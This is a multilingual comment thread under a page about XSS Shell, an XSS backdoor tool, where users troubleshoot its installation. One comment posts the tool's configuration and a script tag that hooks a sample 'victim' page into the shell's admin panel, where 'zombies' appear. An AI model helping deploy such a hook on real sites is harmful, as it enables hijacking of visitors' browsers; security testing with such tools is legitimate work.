Menüyü Gizle

Femisko - 06.06.2008

I configured XSS Shell correctly.... But I dont seem to get the victims dropping in the Admin Panel. I get a yellow blink that is suppose to mean something... But I see nothing.... Help me please...

Andy - 29.05.2008

My Virtual Directory "xssshell" points to C:\xssshell

There

\db\sample_victim\xssshellxssshell.asp

My xssshell.asp file has variables

// You XSSShell Server
var SERVER = "http://localhost/xssshell/";
// This file's name
var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ;
// Connector file (can be in php, cfm, pl etc. just stick with implementation)
var CONNECTOR = SERVER + "xssshell/connector.asp";
// Commands file (can be in php, cfm, pl etc. just stick with implementation)
var COMMANDS_URL = SERVER + "xssshell/commands.asp";

My C:\xssshell\xssshell\db.asp value is

'// DATABASE CONFIGURATION
Const DBPATH = "..\db\shell.mdb"

My C:\xssshell\sample_victim\default.asp value is

<script src="http://localhost/XssShell/xssshell.asp?v=336699"></script>

C:\xssshell\ and all sub directories are not read only

xssshell virtual directory and all sub directories are set to Write in IIS


I can load the admin interface OK, but when I accesshttp://localhost/XssShell/sample_victim/default.asp I get debugger

"An unhandled exception ('Operation must use an updateable query.') occurred in dllhost.exe [900].

in debug, it is failing on "ExeNewRs.Execute" with query INSERT INTO Victim (IP,VictimID) VALUES (127.0.0.1,308307)

n3 - 01.08.2007

M4D syshole.com da ufak bi döküman yazdim bu konula ilgili basit bi sey oldu ama kullanimi açikliyor biraz..
gerçi sitenin reklamini yapmis gibi oluyor biraz ama nasil olsa ferruh bey yorumlari onaylamadan önce okuyor:)
Eger ufak bi yardim olsun isterseniz yorumlar kismina da direkt yapistirabilirim dökümani...
Bu arada script olaganüstü olmus ferruh bey xss ataklarini yeniden canlandirabilecek tek seydi umarim gelismeler devam eder.

M4D - 13.05.2007

Hocam bunun Türkçe bi dökümanini hazirlar misiniz? xssshell.asp yi açmak istedigimde kodlar direk çikiyor karsima..Asp den de anlamadigim için çaresiz kaliyoruz.Ki çogu arkadas ta yapamamis benim gibi.daha açiklayici bi döküman hazirlayabilir misiniz?

Simdiden tesekkürler!!!

mark - 18.04.2007

merhaba usta türkçe olarak daha genis bir kurulum bilgisi vere bilirmisin simdiden tesekkürler

executioner - 17.04.2007

aga ben bunu kuramadim çalismiyor hep editlerde eksik yada yanlisliklar çikiyor buna turkçe sekilde el atarmisiniz

Erkin - 12.04.2007

Harika biseye benziyor...
Hemen Asp Server kuruyorum:] Gercekten Professional olmus gibi...
kodlar bunu gosteriyor
gorusmek uzere paylasim icin saolun

lost - 24.03.2007

I am getting an error when running as the attacker. I am getting it's an IE and I couldn't figure out how to attach an fuction with event succesfully on my attacker page and on my iis server it brings up a debug message. any idea's? I am stuck

chintan - 05.03.2007

Hey i have got one problem.... I have configured the xssshell well. Everything works fine..
But i am not being able to see the zombies dropping down in my admin interface.. I have replaced the desired url withhttp://localhost/xssshell/

Is it correct, or do i need to supply other url?? Kindly guide me..
I am not able to get why testing does not drop zombies in admin interface..

chintan - 05.03.2007

Is there any link to english version of this site???

yeLda - 12.02.2007

eLLerinize sagLikdenemedim ama az sonra bakicam

nick - 26.01.2007

Im guessing that u cant do this remotely?

JoSuEcUaTe - 24.01.2007

# Tipo de error:
Microsoft JET Database Engine (0x80004005)
Error no especificado
/xss/xssshell/fmlibrary/fmlibraryv3.asp, línea 193

# Tipo de explorador:
Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1

# Página:
GET /xss/xssshell/Default.asp

JoSuEcUaTe - 23.01.2007

I Have this errors:


Microsoft JET Database Engine (0x80004005)

/xss/xssshell/fmlibrary/fmlibraryv3.asp, line 193

todi - 20.01.2007

somebody cand help me help us:) make a video how to install if somebody can....

todi - 20.01.2007

yes i have the same problem like zidane i can see the files in the directory and not like in video demo

lobas - 13.01.2007

hi i cannot get this to work, how do i setup the ms access stuff? can i not use flat file more info please the readme doesnt explain enough

zidane - 19.12.2006

Could some please tell me if ive done this right;
I download a web server program (netserve webserver), and i put all the xss shell file in to a directory, i changed the server url, when i go to 127.0.0.1:81/xssshell, it just lists all the files in the directory. It doesn't show the graphical interface like in the video. What am i doing wrong?

dan - 06.12.2006

how do you make the DB file read/write? I always use apache, never used IIS before. Do I just right click the 'db' folder and uncheck read-only?

Sensor - 05.12.2006

The script works on Windows XP Professional SP2? I've tried to make the sscript work but i don't received any ip. I have IIS installed on my Win Xp Professional.

1 - 2 - İleri » - »»

Yorum Yazın


Tüm yorumlar onaydan geçmektedir, bu işlem en uzun 30 dk. sürecektir. E-mail adresleri yeni yorumları bildirme harici hiç bir başka amaçla kullanılmamaktadır ve sitede gözükmemektedir.



Captcha Kodu